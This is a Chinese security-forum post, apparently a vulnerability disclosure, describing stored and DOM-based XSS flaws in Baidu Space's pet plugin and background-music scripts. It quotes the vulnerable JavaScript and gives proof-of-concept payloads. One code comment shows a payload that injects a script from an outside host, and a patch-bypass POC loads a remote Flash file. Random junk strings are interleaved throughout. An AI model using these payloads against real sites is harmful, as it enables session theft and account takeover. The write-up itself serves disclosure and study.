中国网络渗透测试联盟
标题:
hi.baidu Xss 漏洞
[打印本页]
作者:
admin
时间:
2013-8-24 11:51
标题:
hi.baidu Xss 漏洞
百度空间的宠物插件对用户输入变量未经任何过滤便存储,并不经过滤输出,造成XSS.
}5 U% _0 N9 I' D$ U9 `* c
) R* H. e0 U7 n: q- a
1.在
http://hi.baidu.com/p__z/modify/sppet
中,用户可以输入留言管理,提交后,未过滤直接储存.
7 G* ~. S2 [' Z+ y- e% A4 r
2.在
http://hi.baidu.com/ui/scripts/pet/pet.js
中
$ n% \8 K) n5 E9 H; l; i
' `# j( s: d; |# _8 B- \6 S0 P' W2 J
将输出一段HTML:<p style="margin-top:5px"><strong>’+F[2]+"说:</strong>"+BdUtil.insertWBR(F[0], 4)+’</p>
$ m9 r4 Z+ G2 M
其中BdUtil.insertWBR为
6 M1 [" T' k2 f
function(text, step) {
) w1 K1 o2 l, R* p. d
var textarea = textAreaCache || getContainer();
. E/ G) j- P- H. [- }
if (!textarea) {
3 b, y& k8 M" l V8 q( F+ x
return text;
9 g( i. {. w* _6 ~4 s
}
6 h' c8 Z+ C8 \7 d5 w3 K4 y6 r
textarea.innerHTML = text.replace(/&/g, "&").replace(/</g, "<").replace(/>/g, ">");
6 ]% Z1 v1 I% h: o v" ~( V
var string = textarea.value;
6 [) c' R- K& o y7 n( ]" K
var step = step || 5, reg = new RegExp("(\\S{" + step + "})", "gi");
" A9 k3 _; f$ c, u2 |! B( x: l0 B
var result = string.replace(/(<[^>]+>)/gi, "$1<wbr/>").replace(/(>|^)([^<]+)(<|$)/gi, function (a, b, c, d) {if (c.length < step) {return a;}return b + c.replace(reg, "$1<wbr/>") + d;}).replace(/&([^;]*)(<wbr\/?>)([^;]*);/g, "&$1$3;");
( s: h1 G5 m2 `7 b& F$ P" f0 W
return result;
$ K) d- `- H% u7 m
}
( w* I2 d1 ]# d
在首页中,textAreaCache 和 getContainer()均不存在,故!textarea为true,未经过滤直接return text.造成XSS.
% w9 z9 p! |9 m$ }$ S0 r; u
测试代码:宠物留言管理处输入:<img src=# onerror=alert(/qing/)>
p+ D% Y: b6 I/ Q) }" B; c( o
( p' } p3 f6 V2 }9 k! r3 C
二:creatbgmusic() Dom-Xss Bug
. a# x y4 X! u! g" Z
百度空间的Javascript Dom函数creatbgmusic()在输出变量bgmusic*没有进行过滤,导致可以通过initBlogTextForFCK()函数构造容易HTML代码,最终导致xss漏洞
# _( y" {# A3 |4 ^
$ ?+ z h- z: P2 t& x3 e; E$ x
在
http://hi.baidu.com//js/bgmusic.js?v=1.0.js
代码:
' \$ e) T4 I3 f3 }1 m
, C7 L8 ~$ l$ `4 M3 B* t
function creatbgmusic(murl, musicnum, IsMusicHide, IsMusicLoop, IsMusicAutoPlay, unknow, functype) {
7 a3 } @% E7 v: |
//传入的murl赋值到bgmusic1和bgmusic2中
0 s1 @8 i1 {3 e' B7 H
//可以通过构造类似代码来闭合标签如 "><img src=2 onerror=s=document.createElement("script");s.src="http://www.80vul.com/sobb/alert.php";document.body.appendChild(s);>#1
* S6 n& E7 K0 N
var bgmusic1 = "<OBJECT id=phx width=100% classid=clsid:6BF52A52-394A-11D3-B153-00C04F79FAA6 " + (IsMusicHide ? "height=45" : "") + ">" + "<PARAM NAME=\"URL\" VALUE=\"" + murl + "?t=" + Math.random() + "\">" + " <PARAM NAME=\"rate\" VALUE=\"1\">" + " <PARAM NAME=\"balance\" VALUE=\"0\">" + " <PARAM NAME=\"currentPosition\" VALUE=\"0\">" + " <PARAM NAME=\"defaultFrame\" VALUE=\"\">" + " <PARAM NAME=\"PlayCount\" VALUE=\"" + (IsMusicLoop ? 100 : 0) + "\">" + " <PARAM NAME=\"DisplayMode\" VALUE=\"0\">" + " <PARAM NAME=\"PreviewMode\" VALUE=\"0\">" + " <PARAM NAME=\"DisplayForeColor\" VALUE=\"16777215\">" + " <PARAM NAME=\"ShowCaptioning\" VALUE=\"0\">" + " <PARAM NAME=\"ShowControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowAudioControls\" VALUE=\"1\">" + " <PARAM NAME=\"ShowDisplay\" VALUE=\"0\">" + " <PARAM NAME=\"ShowGotoBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowStatusBar\" VALUE=\"0\">" + " <PARAM NAME=\"ShowTracker\" VALUE=\"1\">" + " <PARAM NAME=\"autoStart\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"AutoRewind\" VALUE=\"" + (IsMusicAutoPlay ? 1 : 0) + "\">" + " <PARAM NAME=\"currentMarker\" VALUE=\"0\">" + " <PARAM NAME=\"invokeURLs\" VALUE=\"0\">" + " <PARAM NAME=\"baseURL\" VALUE=\"\">" + " <PARAM NAME=\"volume\" VALUE=\"100\">" + " <PARAM NAME=\"mute\" VALUE=\"0\">" + " <PARAM NAME=\"stretchToFit\" VALUE=\"0\">" + " <PARAM NAME=\"windowlessVideo\" VALUE=\"1\">" + " <PARAM NAME=\"enabled\" VALUE=\"1\">" + " <PARAM NAME=\"EnableFullScreenControls\" VALUE=\"0\">" + " <PARAM NAME=\"EnableTracker\" VALUE=\"1\">" + " <PARAM NAME=\"EnablePositionControls\" VALUE=\"1\">" + " <PARAM NAME=\"enableContextMenu\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionStart\" VALUE=\"0\">" + " <PARAM NAME=\"SelectionEnd\" VALUE=\"0\">" + " <PARAM NAME=\"fullScreen\" VALUE=\"0\">" + " <PARAM NAME=\"SAMIStyle\" VALUE=\"\">" + " <PARAM NAME=\"SAMILang\" VALUE=\"\">" + " <PARAM NAME=\"SAMIFilename\" VALUE=\"\">" + " <PARAM NAME=\"captioningID\" VALUE=\"\">" + " <PARAM NAME=\"Visualizations\" VALUE=\"1\">";
: [7 j1 P* z/ {) }2 t
if (musicnum <= 1) {
) @& c; ^* h# }7 ?' ], U, `% x& S
bgmusic1 += " <PARAM NAME=\"uiMode\" VALUE=\"mini\">";
5 W! ]8 g% Z( g" x% q8 ~. Y
}
" C& K, p! r& Y9 X' W+ Q! u
bgmusic1 += "</OBJECT>";
' z& q" r1 ~) x W
var bgmusic2 = "<EMBED src=\"" + murl + "?t=" + Math.random() + "\" width=\"100%\" " + (IsMusicHide ? "height=45" : "") + " type=\"application/x-mplayer2\" invokeurls=\"0\" autogotourl=\"false\" autostart=" + (IsMusicAutoPlay ? 1 : 0) + " loop=" + (IsMusicLoop ? 1 : 0) + " quality=\"high\"";
5 {# m' g) F8 Q) a
if (musicnum <= 1) {
; i4 W$ N) d; |" ~1 V. S7 b
bgmusic2 += "showcontrols=\"1\" showpositioncontrols=\"0\" ";
" M- d( A5 B/ A# W8 T) c7 H# I
}
! R9 k1 u) Y# {" l* q. ?
bgmusic2 += "> </EMBED>";
5 D/ [$ ]3 L8 }7 U$ N
var bgmusic3 = "<div id=\"m_bgmusic\" class=\"modbox\">\u5BF9\u4E0D\u8D77\uFF0C\u60A8\u5C1A\u672A\u5B89\u88C5windows media player\uFF0C\u65E0\u6CD5\u6B23\u8D4F\u8BE5\u7A7A\u95F4\u7684\u80CC\u666F\u97F3\u4E50\uFF0C\u8BF7\u5148<a href=\"http://www.baidu.com/s?wd=windows+media+player+%CF%C2%D4%D8&cl=3\" target=\"_blank\">\u4E0B\u8F7D\u5E76\u5B89\u88C5</a><br><br></div>";
, ^6 W2 a; K& M' Y* Z8 r/ u& r6 g
var bgmus = detectWMP();
$ s. f0 |; d4 y/ \
if (functype == "FckMusicHelper") {
$ V: d, L! \; K9 C7 X: b( z
if (bgmus.installed) {
: m/ ^. A+ _4 n0 H+ O s/ `2 ?: Q
if (bgmus.type == "IE") {
7 m0 Q' p+ K- G4 }* Y
return bgmusic1;
7 N( F" K# w& `& j" ]7 @! Z: h) `
} else if (bgmus.type == "NS") {
' S, V" M% r" m8 O( Z9 h2 o
return bgmusic2;
: ^3 x5 e$ S) Q0 G8 N4 o
}
/ a& t e% ^4 h5 ~2 Y
} else {
/ O4 o1 |& b q+ F. \2 s ?1 R
return bgmusic3;
8 m6 r6 [! ?, i& ^. t7 D
}
5 T' c2 t' z: k
} else {
9 o5 Y$ s9 s% Y
if (bgmus.installed) {
5 y9 e* |( n7 {2 q k3 s9 ~
//document.write 直接输出bgmusic变量 导致xss
; v0 Y; v: e2 P
if (bgmus.type == "IE") {
7 a' M* f- W! m; D9 u
document.write(bgmusic1);
1 x5 b& ^9 a. F" g5 z- t
} else if (bgmus.type == "NS") {
8 D' m, T8 A" c! V5 v4 b
document.write(bgmusic2);
s. N# S: I: x0 m% S1 N. {
}
- J0 u. E4 ?1 D* T! M5 B
} else {
: S* ~/ V# U4 I5 S3 D+ V5 ^, ]! E
document.write(bgmusic3);
$ ^8 Q* j6 E, w7 n
}
( R2 }& p& [' a' w- d
return "";
* \& w1 C0 m# u% D" t! ]5 d
}
6 U" u* g9 P7 {9 W0 s
}
4 w6 |2 d; N" [8 `. U
L4 }& l \! ^! ^7 i. s
在看百度空间里的initBlogTextForFCK()函数,调用了creatbgmusic() ,代码如下:
. N+ E# c* i( r4 x7 [ F) I- w* z
/ _" s3 q+ w8 D" q; g
function initBlogTextForFCK(){
0 H: `3 Y; r2 v4 t; X4 P# y
//fck init music
* a+ G) f0 M" E [8 _- m2 v* P! |
if(window.Node){Node.prototype.replaceNode=function(Node){this.parentNode.replaceChild(Node,this);}}
+ q8 v) o+ Q8 w I9 v" ^% F
var imgBox=document.getElementsByName(’musicName’); //取得了文章中的所有name="musicName"的标签数组
8 x& K- B! G; Y
var isAutoPlay=true;
" |+ l( o+ i* N: D% z
for(var i=0,n=imgBox.length;i<n;i++){ //然后遍历.
, r2 f5 r1 S+ @7 w' a
var img=imgBox;
- I# g: B2 H6 z% }3 }8 }5 W
if(img.getAttribute(’rel’)){
& N7 D/ {9 c l. B# a. {! }
var musicSrc=img.getAttribute(’rel’); //取得标签中rel的值,赋值给musicSrc
- X6 V2 [! e& Y; E
var musicDiv = document.createElement("SPAN");
! d2 d% _; }8 G& B& S* `: ?
var tmp=musicSrc.substr (musicSrc.indexOf(’#’)+1, 1); //以"#"为界分割musicSrc字符串,提取自动播放的flag[tmp]
8 E8 Y( Y% r- b$ X) M# R
1 u/ P! u; m! k9 ~$ n' U8 ^) r& W
..........................
3 h3 I# J y8 K2 n" Q
% }9 k ?$ [4 l6 L
//直接将部分musicSrc传入creatbgmusic函数.在creatbgmusic函数直接把传入的murl赋值到bgmusic1和bgmusic2中并document.write出来.
+ s W& b& x. q3 J( O% W& x% W
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
2 [+ s3 \# h+ x1 w+ j: z
shtml=shtml.replace(’width=100%’,’width=200’).replace(’width="100%"’,’width=200 height=45’); img.replaceNode(musicDiv);
% K, O$ h" y5 [) o$ S6 m p9 [
musicDiv.innerHTML=shtml;
6 l6 o' @/ c9 c: m( o7 z6 {
i--;n--;
' {5 j7 y* n* ~, R3 R% j2 x0 Y: u
}
4 K; v/ Z1 m0 D1 O; {( m' j! B
}
4 O8 e1 x5 t! s& @; ?
0 Z5 e7 u6 w! C6 T2 d! Z
从上面的代码分析可以看出:在所有的参数传递中,我们没有看到过滤.百度空间的富文本编辑器的过滤模式是基于HTML语法的,不会过滤掉一个属性的值中的HTML标签.所以我们可以精心构造一个的恶意的标签,在JS进行DOM操作后引起XSS.
$ `3 M& b7 l/ [6 r. ^( i
# {( a0 k Z8 Y9 Z6 [) g
测试方法:<img width="200" height="45" name="musicName" rel=’"><img src=2 onerror=alert(/qing/)>#1’ src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif"/>
4 i, q- b* Y. {( V% A! z9 q- R* f
4 m; Z" r4 E! D. z% \
等待官方补丁
1 g3 H. G- S2 B0 k5 N. H
' ?$ T7 Y5 ~+ ]/ u. }; X, D* |
update 2010年5月13日
0 o( G( y, B6 ]7 n! _ D8 F2 q) A
' N, \8 E$ I3 N( X& b+ H( H$ L
官方补丁:
# Y" k. i$ X. |( j& p& _( d" L0 A
1 K6 T6 j% X! b5 V7 f
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)),1,true,false,tmpAutoPlay,tmpAutoPlay,’FckMusicHelper’);
1 H& g/ u. J! ?5 S& B# n e
改为:
9 k4 {& H2 a. J& P4 @: j
var shtml=creatbgmusic(musicSrc.substr(0,musicSrc.indexOf(’#’)).replace(/[\s><()]+/g,’’),1,true,false,isAutoPlay,isAutoPlay,’FckMusicHelper’);
/ ~# K! N6 t8 i9 `
: |: \3 a$ F( U- Q. B) H, I/ x
update 2010年5月13日 21:50:37
+ T8 t% M) l* e# Z: h! E% o) M+ J+ Y
& k6 |9 G0 M# H
补丁存在漏洞 没有过滤" 可以继续跨:
`/ e' r9 R) Y( V, ]
4 }1 I) P1 G/ a' Q
NEW POC:
9 X! }( ]) |5 T( C
. }1 ?6 @: k1 \; F+ y8 n
<img width="200" height="45" _fcksavedurl="
http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif
" src="http://hi.baidu.com/fc/editor/skins/default/update/mplogo.gif" rel=’
http://www.xsser.net/pz/js.swf
"
4 k2 @- L+ P2 A+ w5 C( a
% I1 w. ~+ `6 B3 a) F* I" U+ k/ R! D
allowscriptaccess="always" type="application/x-shockwave-flash"#2’ name="musicName"/>
5 f, C" g' y# O5 y
% ^* t6 Z v; ^0 f
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2